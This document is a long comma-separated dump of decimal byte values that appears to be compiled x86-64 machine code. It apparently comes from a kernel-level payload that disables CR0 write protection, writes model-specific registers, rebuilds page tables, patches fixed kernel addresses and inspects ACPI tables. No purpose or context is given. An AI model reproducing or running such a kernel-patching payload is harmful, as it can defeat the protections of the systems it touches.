13,133,192,65,137,196,116,22,72,141,61,207,43,0,0,49,192,49,237,69,49,255,255,21,183,52,0,0,235,91,65,139,134,56,2,0,0,68,141,120,1,76,137,255,232,80,32,0,0,72,133,192,72,137,197,117,23,72,141,61,187,43,0,0,49,192,255,21,139,52,0,0,69,49,210,233,95,255,255,255,72,137,198,72,139,123,32,72,139,68,36,16,49,201,76,137,250,255,208,133,192,65,137,196,116,23,72,141,61,166,43,0,0,49,192,255,21,90,52,0,0,69,49,210,233,75,1,0,0,72,139,76,36,8,66,198,68,61,255,0,72,3,12,36,72,141,61,155,43,0,0,49,192,72,137,12,36,255,21,48,52,0,0,72,139,115,8,72,141,61,152,43,0,0,49,192,255,21,29,52,0,0,72,139,12,36,72,141,61,169,43,0,0,72,139,83,24,49,192,72,137,206,255,21,3,52,0,0,72,137,238,72,141,61,196,43,0,0,49,192,255,21,241,51,0,0,76,137,246,72,141,61,207,43,0,0,49,192,255,21,223,51,0,0,76,137,238,72,141,61,218,43,0,0,49,192,255,21,205,51,0,0,191,0,16,0,0,232,113,31,0,0,72,139,12,36,72,133,192,117,27,72,137,4,36,72,141,61,209,43,0,0,49,192,65,188,12,0,0,0,255,21,161,51,0,0,235,83,68,139,75,40,76,137,234,72,137,198,73,137,232,76,137,247,72,137,4,36,232,175,8,0,0,76,139,20,36,76,137,246,76,137,215,232,207,8,0,0,72,139,116,36,24,72,141,61,120,12,0,0,232,132,31,0,0,72,139,21,95,51,0,0,133,192,117,21,72,141,61,141,43,0,0,65,188,22,0,0,0,255,210,76,139,20,36,235,63,72,141,61,153,43,0,0,49,192,255,210,72,141,61,198,43,0,0,49,192,255,21,44,51,0,0,72,141,61,239,43,0,0,49,192,255,21,29,51,0,0,235,76,49,237,69,49,210,69,49,237,69,49,246,69,49,255,65,188,2,0,0,0,76,137,254,72,137,239,76,137,20,36,232,246,30,0,0,76,139,20,36,190,0,16,0,0,76,137,215,232,229,30,0,0,72,139,115,8,76,137,247,232,217,30,0,0,72,139,115,24,76,137,239,232,205,30,0,0,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,72,133,255,116,108,72,133,246,116,103,76,141,66,255,49,192,128,60,7,0,65,15,149,193,73,57,192,65,15,151,194,69,33,209,73,137,194,72,255,192,65,128,225,1,117,226,72,57,194,76,15,71,192,69,49,201,77,57,200,116,13,70,138,28,15,70,136,28,14,73,255,193,235,238,76,57,210,66,198,4,6,0,119,16,72,133,201,65,184,63,0,0,0,116,24,72,137,17,235,19,69,49,192,72,133,201,116,11,72,137,1,235,6,65,184,14,0,0,0,68,137,192,195,243,15,30,250,65,85,65,84,85,83,72,131,236,24,15,32,192,72,37,255,255,254,255,15,34,192,250,72,139,5,20,50,0,0,185,16,4,224,254,186,32,3,224,254,190,128,3,224,254,72,9,193,199,1,1,0,0,0,72,137,199,72,9,215,72,131,194,16,72,57,242,199,7,0,0,1,0,117,235,186,128,4,224,254,190,0,5,224,254,72,137,199,72,9,215,72,131,194,16,72,57,242,199,7,255,255,255,255,117,235,72,9,194,199,2,0,0,1,0,186,16,5,224,254,72,9,194,199,2,0,0,1,0,186,32,5,224,254,72,9,194,199,2,0,0,1,0,186,48,5,224,254,72,9,208,186,0,0,16,0,199,0,0,0,1,0,184,0,0,0,1,199,1,0,0,0,0,185,19,4,0,0,15,48,185,8,4,0,192,15,48,250,65,15,32,193,76,137,200,72,37,255,255,255,223,72,13,0,0,0,64,15,34,192,15,9,15,32,216,15,34,216,49,246,65,186,255,2,0,0,68,137,209,72,137,240,72,137,242,15,48,65,184,6,0,0,0,185,0,2,0,0,76,137,192,15,48,187,0,8,0,128,191,255,0,0,0,185,1,2,0,0,72,137,216,72,137,250,15,48,65,187,1,0,0,0,185,2,2,0,0,76,137,192,76,137,218,15,48,185,3,2,0,0,184,0,8,0,0,72,137,250,15,48,185,4,2,0,0,186,2,0,0,0,76,137,192,15,48,185,5,2,0,0,72,137,216,72,137,250,15,48,185,6,2,0,0,72,137,240,76,137,218,15,48,72,99,13,236,32,0,0,186,1,0,0,0,72,193,226,40,72,193,225,30,72,137,200,72,41,202,72,247,216,72,193,234,32,13,0,8,0,0,185,7,2,0,0,15,48,15,9,15,32,216,15,34,216,184,0,12,0,0,68,137,209,72,137,242,15,48,65,15,34,193,251,101,139,4,37,52,0,0,0,133,192,116,11,240,255,5,241,47,0,0,250,244,235,252,72,141,61,188,41,0,0,232,229,10,0,0,186,7,0,0,0,137,208,240,15,177,21,210,47,0,0,117,244,72,141,61,197,41,0,0,232,200,10,0,0,15,32,224,72,37,127,255,255,255,15,34,224,15,32,218,72,139,13,54,48,0,0,72,184,0,240,255,255,255,255,15,0,72,33,194,187,135,0,0,128,72,9,202,72,35,2,72,9,200,72,137,88,16,72,129,195,0,0,0,64,72,199,0,135,0,0,0,72,199,64,8,135,0,0,64,72,137,88,24,49,192,198,0,0,72,255,192,72,61,0,16,0,0,117,242,72,139,29,230,47,0,0,49,192,128,207,16,198,4,3,0,72,255,192,72,61,0,32,0,0,117,241,72,139,5,203,47,0,0,72,141,147,0,16,0,0,72,141,61,81,41,0,0,196,226,248,242,194,72,131,200,7,72,137,3,72,139,21,170,47,0,0,72,193,234,39,129,226,255,1,0,0,72,137,4,211,184,135,0,0,128,72,137,131,16,16,0,0,72,5,0,0,0,64,72,137,131,24,16,0,0,72,199,131,0,16,0,0,135,0,0,0,72,199,131,8,16,0,0,135,0,0,64,232,228,9,0,0,72,139,21,97,47,0,0,102,199,68,36,6,255,7,72,141,131,0,32,0,0,196,226,232,242,208,72,137,84,36,8,72,141,147,0,40,0,0,198,0,0,72,255,192,72,57,194,117,245,72,184,255,255,0,0,0,154,47,0,72,141,61,212,40,0,0,72,137,131,16,32,0,0,72,184,255,255,0,0,0,146,15,0,72,137,131,24,32,0,0,184,153,0,0,0,72,193,224,40,72,137,131,32,32,0,0,232,117,9,0,0,15,183,68,36,6,72,141,13,116,8,0,0,72,139,84,36,8,76,141,108,2,1,72,139,21,0,31,0,0,49,192,72,57,194,116,14,64,138,52,1,65,136,116,5,0,72,255,192,235,237,76,139,37,192,46,0,0,72,141,61,130,40,0,0,196,66,152,242,229,76,3,37,209,30,0,0,232,36,9,0,0,76,139,5,81,46,0,0,185,0,4,0,0,72,139,5,53,46,0,0,72,139,21,142,46,0,0,73,141,172,36,0,2,0,0,72,137,239,76,137,198,73,129,196,0,18,0,0,243,165,196,226,104,242,200,198,133,16,2,0,0,208,137,141,24,2,0,0,72,139,13,6,46,0,0,72,247,210,65,139,184,56,2,0,0,199,133,60,2,0,0,5,0,0,0,72,33,208,137,141,28,2,0,0,72,193,233,32,137,141,196,0,0,0,72,139,13,232,45,0,0,72,193,232,32,68,137,165,40,2,0,0,72,141,119,255,137,133,192,0,0,0,65,33,212,49,192,128,60,1,0,15,149,194,72,57,198,65,15,151,192,72,255,192,68,33,194,128,226,1,117,231,72,57,199,72,15,70,198,49,210,72,57,208,116,13,64,138,52,17,65,136,52,20,72,255,194,235,238,65,198,4,4,0,72,141,61,193,39,0,0,232,77,8,0,0,184,24,0,0,252,72,11,5,197,45,0,0,191,224,0,10,248,72,139,16,72,131,226,254,72,137,16,232,234,24,0,0,191,224,16,10,248,232,224,24,0,0,191,224,32,10,248,232,214,24,0,0,191,224,48,10,248,232,204,24,0,0,191,224,64,10,248,232,194,24,0,0,191,224,80,10,248,232,184,24,0,0,191,224,96,10,248,232,174,24,0,0,191,224,112,10,248,232,164,24,0,0,72,141,61,111,39,0,0,232,219,7,0,0,72,99,13,120,29,0,0,72,184,255,255,255,255,14,0,0,0,72,139,21,71,45,0,0,191,36,32,128,228,190,4,44,128,228,72,193,225,30,72,1,200,72,9,214,72,193,232,24,72,9,215,193,224,16,199,7,0,0,0,0,128,204,15,199,6,0,0,0,0,137,7,184,104,32,128,228,72,9,208,72,193,233,20,199,0,0,4,0,0,184,40,84,128,228,72,9,194,199,6,0,0,0,15,137,10,72,141,61,24,39,0,0,232,102,7,0,0,184,216,134,128,228,72,11,5,222,44,0,0,65,184,0,94,128,228,191,4,94,128,228,65,186,0,0,0,128,190,24,94,128,228,72,199,0,0,0,0,21,184,52,130,128,228,72,11,5,181,44,0,0,72,199,0,0,0,0,80,184,72,208,128,228,72,11,5,162,44,0,0,72,199,0,1,0,0,0,184,72,216,128,228,72,11,5,143,44,0,0,72,199,0,1,0,0,0,184,0,195,128,228,72,11,5,124,44,0,0,72,199,0,0,0,0,0,184,168,193,128,228,72,11,5,105,44,0,0,72,139,16,72,129,226,255,255,231,255,72,137,16,184,32,128,128,228,72,139,13,80,44,0,0,72,9,193,72,139,17,72,129,202,5,0,3,0,72,137,17,72,11,5,57,44,0,0,72,139,16,72,129,226,250,255,252,255,72,137,16,184,96,14,128,228,72,139,13,32,44,0,0,72,9,193,72,139,17,72,129,202,64,1,16,0,72,137,17,185,28,94,128,228,72,11,5,4,44,0,0,72,139,16,72,129,226,191,254,239,255,72,137,16,186,48,94,128,228,72,139,5,235,43,0,0,76,9,192,72,199,0,84,1,0,0,72,139,5,218,43,0,0,72,9,248,76,137,16,72,139,5,205,43,0,0,72,9,240,72,199,0,84,1,0,0,72,139,5,188,43,0,0,72,9,200,76,137,16,72,139,5,175,43,0,0,72,9,208,72,199,0,84,1,0,0,184,52,94,128,228,76,139,13,153,43,0,0,73,9,193,77,137,17,65,185,4,52,129,228,76,11,13,134,43,0,0,73,199,1,1,0,0,0,65,185,12,52,129,228,76,11,13,114,43,0,0,73,199,1,1,0,0,0,76,11,5,100,43,0,0,73,199,0,86,1,0,0,72,11,61,86,43,0,0,72,199,7,240,0,86,24,72,141,61,138,37,0,0,72,11,53,65,43,0,0,72,199,6,86,1,0,0,72,11,13,51,43,0,0,72,199,1,240,0,0,80,72,11,21,37,43,0,0,72,199,2,86,1,0,0,72,11,5,23,43,0,0,72,199,0,240,16,69,1,232,135,5,0,0,72,139,61,4,43,0,0,72,137,238,72,141,76,36,6,72,247,215,72,33,251,72,33,254,72,35,61,132,42,0,0,72,137,218,65,255,213,72,141,61,78,37,0,0,232,86,5,0,0,72,131,196,24,91,93,65,92,65,93,195,243,15,30,250,72,137,61,92,42,0,0,72,137,53,109,42,0,0,72,137,21,86,42,0,0,72,137,13,87,42,0,0,76,137,5,96,42,0,0,68,137,13,193,26,0,0,195,243,15,30,250,49,192,198,4,7,0,72,255,192,72,61,0,16,0,0,117,241,15,182,150,1,2,0,0,49,192,72,131,194,17,138,140,6,241,1,0,0,136,140,7,241,1,0,0,72,255,192,72,57,194,119,234,15,182,151,232,1,0,0,190,0,0,0,128,72,137,208,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,0,0,72,199,130,216,2,0,0,0,128,0,0,199,130,224,2,0,0,1,0,0,0,141,80,1,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,128,0,0,72,199,130,216,2,0,0,0,128,7,0,199,130,224,2,0,0,2,0,0,0,141,80,2,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,8,0,72,199,130,216,2,0,0,0,160,1,0,199,130,224,2,0,0,1,0,0,0,141,80,3,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,160,9,0,72,199,130,216,2,0,0,0,96,0,0,199,130,224,2,0,0,2,0,0,0,141,80,4,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,10,0,72,199,130,216,2,0,0,0,0,2,0,199,130,224,2,0,0,2,0,0,0,141,80,5,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,14,0,72,199,130,216,2,0,0,0,0,1,0,199,130,224,2,0,0,3,0,0,0,141,80,6,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,16,0,72,199,130,216,2,0,0,0,0,48,0,199,130,224,2,0,0,1,0,0,0,141,80,7,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,64,0,72,199,130,216,2,0,0,0,0,8,0,199,130,224,2,0,0,2,0,0,0,141,80,8,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,72,0,72,199,130,216,2,0,0,0,0,32,0,199,130,224,2,0,0,1,0,0,0,141,80,9,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,104,0,72,199,130,216,2,0,0,0,0,8,0,199,130,224,2,0,0,2,0,0,0,141,80,10,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,112,0,72,199,130,216,2,0,0,0,128,142,126,72,99,13,147,24,0,0,199,130,224,2,0,0,1,0,0,0,141,80,11,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,128,254,126,72,199,130,216,2,0,0,0,128,0,0,199,130,224,2,0,0,4,0,0,0,141,80,12,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,255,126,72,199,130,216,2,0,0,0,0,1,0,199,130,224,2,0,0,3,0,0,0,141,80,13,15,182,210,72,107,210,20,72,1,250,72,199,130,208,2,0,0,0,0,0,127,72,199,130,216,2,0,0,0,0,0,1,199,130,224,2,0,0,1,0,0,0,141,80,14,15,182,210,72,107,210,20,72,1,250,72,137,178,208,2,0,0,72,199,130,216,2,0,0,0,0,0,96,199,130,224,2,0,0,2,0,0,0,141,80,15,15,182,210,72,107,210,20,72,1,250,72,129,198,0,0,0,96,72,137,178,208,2,0,0,72,129,198,0,0,0,24,72,199,130,216,2,0,0,0,0,0,24,72,193,225,30,199,130,224,2,0,0,2,0,0,0,141,80,16,15,182,210,72,107,210,20,72,1,250,72,137,178,208,2,0,0,72,129,198,0,0,0,8,72,199,130,216,2,0,0,0,0,0,4,199,130,224,2,0,0,2,0,0,0,141,80,17,15,182,210,72,107,210,20,72,1,250,72,137,178,208,2,0,0,72,1,206,72,137,138,216,2,0,0,199,130,224,2,0,0,2,0,0,0,141,80,18,15,182,210,131,192,19,72,107,210,20,72,1,250,72,137,178,208,2,0,0,190,127,1,0,0,72,193,230,24,199,130,224,2,0,0,1,0,0,0,72,41,206,72,137,178,216,2,0,0,136,135,232,1,0,0,195,243,15,30,250,72,141,61,103,33,0,0,80,49,192,255,21,223,38,0,0,191,2,0,0,0,255,21,132,39,0,0,72,139,61,197,38,0,0,190,0,0,14,0,72,129,207,0,0,14,0,232,123,13,0,0,72,141,61,82,33,0,0,49,192,255,21,173,38,0,0,72,139,61,30,39,0,0,49,201,72,141,53,95,244,255,255,72,137,250,255,21,4,39,0,0,72,141,61,61,33,0,0,49,192,255,21,133,38,0,0,49,192,90,195,250,15,1,17,184,24,0,0,0,142,216,142,208,142,192,142,224,142,232,15,34,218,73,137,252,73,137,245,72,199,199,0,0,0,6,73,137,254,49,210,65,138,148,36,241,1,0,0,72,255,194,72,193,226,9,73,141,52,20,65,139,140,36,244,1,0,0,72,193,225,4,72,1,207,72,1,206,72,131,239,8,72,131,238,8,72,193,233,3,253,243,72,165,252,72,141,37,20,2,0,0,72,131,228,240,106,16,73,129,198,0,2,0,0,65,86,76,137,238,72,203,243,15,30,250,72,131,236,16,72,139,5,241,37,0,0,185,20,224,144,200,186,144,208,3,0,72,9,193,139,49,64,128,230,32,117,4,255,202,117,244,186,0,224,144,200,72,9,208,64,136,56,240,72,131,68,36,8,0,72,131,194,20,72,11,21,187,37,0,0,184,144,208,3,0,139,10,128,225,64,117,4,255,200,117,245,72,131,196,16,195,243,15,30,250,102,64,15,190,199,65,137,248,102,131,248,10,117,10,191,13,0,0,0,232,138,255,255,255,65,15,182,248,235,132,243,15,30,250,73,137,249,65,15,190,57,64,132,255,116,10,73,255,193,232,198,255,255,255,235,237,195,72,137,248,49,201,72,57,209,116,13,64,138,60,14,64,136,60,8,72,255,193,235,238,195,64,128,255,9,141,71,87,119,3,141,71,48,195,72,137,250,137,247,193,239,28,137,241,232,228,255,255,255,65,137,192,72,139,2,137,207,193,239,24,131,231,15,72,141,112,1,72,137,50,68,136,0,232,199,255,255,255,65,137,192,72,139,2,137,207,193,239,20,131,231,15,72,141,112,1,72,137,50,68,136,0,232,170,255,255,255,65,137,192,72,139,2,137,207,193,239,16,131,231,15,72,141,112,1,72,137,50,68,136,0,232,141,255,255,255,65,137,192,72,139,2,137,207,193,239,12,131,231,15,72,141,112,1,72,137,50,68,136,0,232,112,255,255,255,65,137,192,72,139,2,15,182,253,131,231,15,72,141,112,1,72,137,50,68,136,0,232,85,255,255,255,65,137,192,72,139,2,137,207,193,239,4,131,231,15,72,141,112,1,72,137,50,68,136,0,232,56,255,255,255,65,137,192,72,139,2,131,225,15,137,207,72,141,112,1,72,137,50,68,136,0,232,30,255,255,255,65,137,192,72,139,2,72,141,72,1,72,137,10,68,136,0,195,65,87,65,86,65,85,65,84,85,83,82,68,139,103,20,65,190,4,0,0,0,72,137,253,73,137,247,72,141,61,28,31,0,0,68,137,224,37,0,240,255,255,153,65,247,254,68,141,104,240,137,195,68,137,238,49,192,255,21,39,36,0,0,73,99,197,186,56,0,0,0,72,141,188,133,0,1,0,0,76,137,254,232,158,254,255,255,68,137,224,72,99,203,153,65,129,205,0,0,16,0,65,247,254,57,200,126,24,102,131,188,141,2,1,0,0,16,117,8,68,137,172,141,0,1,0,0,72,255,193,235,228,88,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,73,137,249,83,73,137,243,137,213,72,137,203,69,49,210,67,128,60,19,0,116,5,73,255,194,235,244,73,139,57,64,246,199,3,116,12,72,141,71,1,73,137,1,198,7,0,235,235,186,6,0,0,0,72,141,53,130,30,0,0,232,31,254,255,255,49,246,73,131,1,6,76,137,207,232,54,254,255,255,137,238,76,137,207,232,44,254,255,255,49,246,76,137,207,232,34,254,255,255,49,246,76,137,207,232,24,254,255,255,190,1,0,0,0,76,137,207,232,11,254,255,255,49,246,76,137,207,232,1,254,255,255,137,222,76,137,207,232,247,253,255,255,49,246,76,137,207,232,237,253,255,255,49,246,76,137,207,232,227,253,255,255,49,246,76,137,207,232,217,253,255,255,49,246,76,137,207,232,207,253,255,255,65,141,114,1,76,137,207,232,195,253,255,255,49,246,76,137,207,232,185,253,255,255,73,139,57,76,137,210,76,137,222,232,134,253,255,255,77,3,17,73,141,66,1,73,137,1,65,198,2,0,73,139,1,168,3,116,12,72,141,80,1,73,137,17,198,0,0,235,237,91,93,195,243,15,30,250,72,139,15,72,99,214,76,139,5,106,35,0,0,49,192,72,57,194,118,9,198,4,1,0,72,255,192,235,242,72,1,23,49,192,57,198,126,13,69,138,12,0,68,136,12,1,72,255,192,235,239,72,1,23,195,243,15,30,250,72,139,23,49,192,72,139,13,40,35,0,0,198,4,2,0,72,255,192,72,131,248,32,117,243,72,131,7,32,49,192,72,137,198,72,247,222,72,131,248,15,119,7,64,138,116,49,15,235,5,64,138,116,49,47,64,136,52,2,72,255,192,72,131,248,32,117,219,72,131,7,32,195,243,15,30,250,65,84,85,83,72,137,213,72,131,236,16,73,137,204,49,192,72,137,116,36,8,72,137,251,72,141,61,28,29,0,0,255,21,34,34,0,0,72,139,69,0,72,141,12,133,0,0,0,0,76,57,225,116,27,72,139,116,36,8,76,137,226,72,141,61,11,29,0,0,49,192,255,21,250,33,0,0,49,192,235,98,76,139,3,49,192,65,198,4,0,0,72,255,192,72,61,0,1,0,0,117,240,72,139,3,76,137,226,72,141,184,0,1,0,0,72,137,59,72,139,117,24,232,87,252,255,255,65,141,132,36,0,1,0,0,65,137,0,184,1,0,0,8,72,193,224,5,65,199,64,16,16,0,0,0,73,137,64,4,184,1,0,0,0,69,137,96,20,65,199,64,24,0,1,0,0,76,1,35,72,131,196,16,91,93,65,92,195,243,15,30,250,85,83,65,80,72,137,205,72,139,31,232,45,255,255,255,133,192,116,73,72,137,232,199,67,12,7,0,2,0,72,193,232,2,199,67,4,44,0,0,0,137,194,37,255,3,0,0,129,226,0,252,255,255,199,67,32,21,0,0,0,137,83,36,72,141,115,32,137,67,40,72,141,149,224,0,0,0,49,255,232,146,12,0,0,137,67,28,184,1,0,0,0,90,91,93,195,243,15,30,250,85,83,65,80,72,137,205,72,139,31,232,201,254,255,255,133,192,116,75,72,184,1,0,0,0,144,0,0,0,199,67,12,7,0,2,0,72,137,67,32,72,184,61,0,0,0,112,2,0,0,199,67,4,52,0,0,0,72,141,149,224,0,0,0,72,137,67,40,72,141,115,32,199,67,48,0,0,0,0,49,255,232,44,12,0,0,137,67,28,184,1,0,0,0,90,91,93,195,243,15,30,250,65,84,85,83,72,137,205,72,139,31,69,137,196,232,96,254,255,255,133,192,116,85,65,131,252,1,199,67,12,2,0,1,0,25,192,199,67,4,48,0,0,0,131,224,9,199,67,36,0,0,0,0,137,67,32,72,137,232,72,193,232,2,72,141,115,32,137,194,37,255,3,0,0,129,226,0,252,255,255,137,67,44,137,83,40,49,255,72,141,149,224,0,0,0,232,185,11,0,0,137,67,28,184,1,0,0,0,91,93,65,92,195,243,15,30,250,72,139,21,218,32,0,0,72,133,210,116,4,49,192,255,226,72,139,5,186,32,0,0,195,243,15,30,250,72,139,21,182,32,0,0,72,133,210,116,29,49,192,81,255,210,65,137,192,72,141,5,226,17,0,0,69,133,192,117,7,72,141,5,22,18,0,0,90,195,72,141,5,13,18,0,0,195,243,15,30,250,72,139,21,129,32,0,0,72,133,210,116,29,49,192,81,255,210,65,137,192,72,141,5,29,27,0,0,69,133,192,117,7,72,141,5,7,27,0,0,90,195,72,141,5,254,26,0,0,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,129,236,104,2,0,0,49,192,72,137,124,36,24,73,137,254,232,86,255,255,255,72,133,192,117,20,72,141,61,223,26,0,0,49,192,255,21,143,31,0,0,233,254,5,0,0,73,137,196,49,192,232,79,255,255,255,72,141,108,36,24,49,201,186,237,65,0,0,72,141,53,231,26,0,0,72,137,239,72,137,195,232,140,251,255,255,185,32,0,0,0,186,164,129,0,0,72,141,53,207,26,0,0,72,137,239,232,115,251,255,255,72,137,239,76,141,124,36,17,232,164,252,255,255,49,201,186,237,65,0,0,72,141,53,192,26,0,0,232,83,251,255,255,49,201,186,237,65,0,0,72,141,53,177,26,0,0,72,137,239,232,61,251,255,255,72,139,5,180,31,0,0,186,237,65,0,0,72,141,53,163,26,0,0,72,137,239,15,182,64,126,102,131,248,1,69,25,237,49,201,65,131,229,128,65,129,197,0,1,0,0,232,10,251,255,255,186,164,129,0,0,73,99,205,72,141,53,134,26,0,0,72,137,239,232,243,250,255,255,68,137,238,72,137,239,232,235,251,255,255,72,139,21,71,31,0,0,72,133,210,116,4,49,192,255,210,76,141,108,36,32,76,137,255,72,141,21,114,26,0,0,190,7,0,0,0,49,192,255,21,154,30,0,0,76,137,249,72,141,21,98,26,0,0,190,64,0,0,0,76,137,239,49,192,76,141,124,36,96,255,21,123,30,0,0,49,201,186,237,65,0,0,76,137,238,72,137,239,232,139,250,255,255,76,139,13,98,30,0,0,49,192,76,137,76,36,8,232,82,254,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,39,26,0,0,76,137,255,190,64,0,0,0,49,192,65,255,209,76,137,254,72,141,61,29,26,0,0,49,192,255,21,29,30,0,0,72,139,67,32,76,137,254,186,164,129,0,0,72,137,239,72,141,136,0,1,0,0,232,44,250,255,255,72,139,75,32,72,141,53,14,26,0,0,73,139,84,36,32,72,137,239,76,139,124,36,24,232,90,252,255,255,133,192,15,132,81,4,0,0,76,137,255,72,141,53,99,15,0,0,232,104,249,255,255,76,139,13,207,29,0,0,49,192,76,141,188,36,160,0,0,0,76,137,76,36,8,232,183,253,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,188,25,0,0,190,64,0,0,0,76,137,255,49,192,65,255,209,76,137,254,72,141,61,130,25,0,0,49,192,255,21,130,29,0,0,72,139,67,40,186,164,129,0,0,76,137,254,72,137,239,72,141,136,0,1,0,0,232,145,249,255,255,72,139,75,40,72,141,53,131,25,0,0,73,139,84,36,40,72,137,239,232,196,251,255,255,133,192,15,132,187,3,0,0,76,139,13,72,29,0,0,49,192,76,141,188,36,224,0,0,0,76,137,76,36,8,232,48,253,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,68,25,0,0,76,137,255,190,64,0,0,0,49,192,65,255,209,76,137,254,72,141,61,251,24,0,0,49,192,255,21,251,28,0,0,72,139,67,24,76,137,254,186,164,129,0,0,72,137,239,72,141,136,0,1,0,0,232,10,249,255,255,72,139,75,24,72,141,53,11,25,0,0,73,139,84,36,24,72,137,239,76,139,124,36,24,232,56,251,255,255,133,192,15,132,47,3,0,0,76,137,255,72,141,53,1,14,0,0,232,70,248,255,255,76,139,13,173,28,0,0,49,192,76,141,188,36,32,1,0,0,76,137,76,36,8,232,149,252,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,184,24,0,0,76,137,255,190,64,0,0,0,49,192,65,255,209,76,137,254,72,141,61,96,24,0,0,49,192,255,21,96,28,0,0,72,139,67,48,76,137,254,186,164,129,0,0,72,137,239,72,141,136,0,1,0,0,232,111,248,255,255,72,139,75,48,72,141,53,128,24,0,0,73,139,84,36,48,72,137,239,76,139,124,36,24,232,157,250,255,255,133,192,15,132,148,2,0,0,76,137,255,72,141,53,38,13,0,0,232,171,247,255,255,76,139,13,18,28,0,0,49,192,76,141,188,36,96,1,0,0,76,137,76,36,8,232,250,251,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,46,24,0,0,76,137,255,190,64,0,0,0,49,192,65,255,209,76,137,254,72,141,61,197,23,0,0,49,192,255,21,197,27,0,0,72,139,67,56,76,137,254,186,164,129,0,0,72,137,239,72,141,136,0,1,0,0,232,212,247,255,255,72,139,75,56,72,141,53,247,23,0,0,73,139,84,36,56,72,137,239,76,139,124,36,24,232,2,250,255,255,133,192,15,132,249,1,0,0,76,137,255,72,141,53,139,12,0,0,232,16,247,255,255,76,139,13,119,27,0,0,49,192,76,141,188,36,160,1,0,0,76,137,76,36,8,232,95,251,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,166,23,0,0,190,64,0,0,0,76,137,255,49,192,65,255,209,76,137,254,72,141,61,42,23,0,0,49,192,255,21,42,27,0,0,72,139,3,186,164,129,0,0,76,137,254,72,137,239,72,141,136,0,1,0,0,232,58,247,255,255,72,139,11,72,141,53,112,23,0,0,73,139,20,36,72,137,239,232,211,249,255,255,133,192,15,132,102,1,0,0,76,139,13,243,26,0,0,49,192,76,141,188,36,224,1,0,0,76,137,76,36,8,232,219,250,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,51,23,0,0,190,64,0,0,0,76,137,255,49,192,65,255,209,76,137,254,72,141,61,166,22,0,0,49,192,255,21,166,26,0,0,72,139,67,8,186,164,129,0,0,76,137,254,72,137,239,72,141,136,0,1,0,0,232,181,246,255,255,72,139,75,8,69,49,192,73,139,84,36,8,72,141,53,244,22,0,0,72,137,239,232,175,249,255,255,133,192,15,132,220,0,0,0,49,201,186,164,129,0,0,72,141,53,219,22,0,0,72,137,239,232,124,246,255,255,76,139,13,83,26,0,0,49,192,76,141,188,36,32,2,0,0,76,137,76,36,8,232,59,250,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,177,22,0,0,190,64,0,0,0,76,137,255,49,192,65,255,209,76,137,254,72,141,61,6,22,0,0,49,192,255,21,6,26,0,0,72,139,67,16,186,164,129,0,0,76,137,254,72,137,239,72,141,136,0,1,0,0,232,21,246,255,255,72,139,75,16,65,184,1,0,0,0,73,139,84,36,16,72,141,53,112,22,0,0,72,137,239,232,12,249,255,255,133,192,116,61,49,201,186,164,129,0,0,72,141,53,60,22,0,0,72,137,239,232,221,245,255,255,72,139,68,36,24,76,41,240,72,61,112,128,1,0,118,27,72,137,198,186,112,128,1,0,72,141,61,53,22,0,0,49,192,255,21,140,25,0,0,72,131,200,255,72,129,196,104,2,0,0,91,93,65,92,65,93,65,94,65,95,195,72,137,248,49,201,72,57,209,116,13,64,138,60,14,64,136,60,8,72,255,193,235,238,195,198,71,9,0,139,79,4,49,210,49,192,57,209,118,8,2,4,23,72,255,194,235,244,247,216,136,71,9,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,141,135,0,128,0,0,72,131,236,72,72,137,4,36,72,137,253,72,137,243,49,192,198,132,5,0,128,0,0,0,72,255,192,72,61,0,128,0,0,117,237,72,137,234,72,137,222,72,141,61,194,21,0,0,49,192,255,21,244,24,0,0,72,139,60,36,185,9,0,0,0,72,137,238,243,165,72,141,133,36,128,0,0,72,141,61,193,21,0,0,72,137,68,36,48,49,192,69,49,255,69,49,237,139,181,16,128,0,0,255,21,191,24,0,0,72,139,181,24,128,0,0,72,141,61,168,21,0,0,49,192,255,21,169,24,0,0,68,139,181,16,128,0,0,72,141,189,36,128,0,0,73,41,222,74,141,68,53,0,139,80,4,72,137,198,72,137,68,36,8,232,13,255,255,255,139,133,16,128,0,0,72,137,238,72,41,222,72,3,181,24,128,0,0,137,92,36,36,72,41,216,139,68,5,4,72,3,68,36,48,139,86,4,72,137,68,36,16,141,67,36,137,133,16,128,0,0,72,139,68,36,16,72,131,192,48,72,137,199,72,137,68,36,24,232,195,254,255,255,72,139,133,24,128,0,0,72,41,216,139,84,5,4,72,139,68,36,24,72,43,4,36,72,1,216,72,137,133,24,128,0,0,72,139,68,36,24,76,141,116,16,96,72,139,68,36,8,139,64,4,72,131,232,36,72,193,232,2,72,137,68,36,40,139,68,36,40,137,68,36,60,68,57,124,36,60,15,142,114,1,0,0,72,139,68,36,8,72,141,61,225,20,0,0,70,139,100,184,36,68,137,100,36,56,73,41,220,73,1,236,68,139,76,36,56,65,139,4,36,137,193,15,182,212,193,233,16,15,182,240,193,232,24,15,182,201,65,137,192,49,192,255,21,165,23,0,0,65,139,4,36,61,70,65,67,80,116,12,61,83,83,68,84,116,119,233,206,0,0,0,65,139,116,36,36,72,141,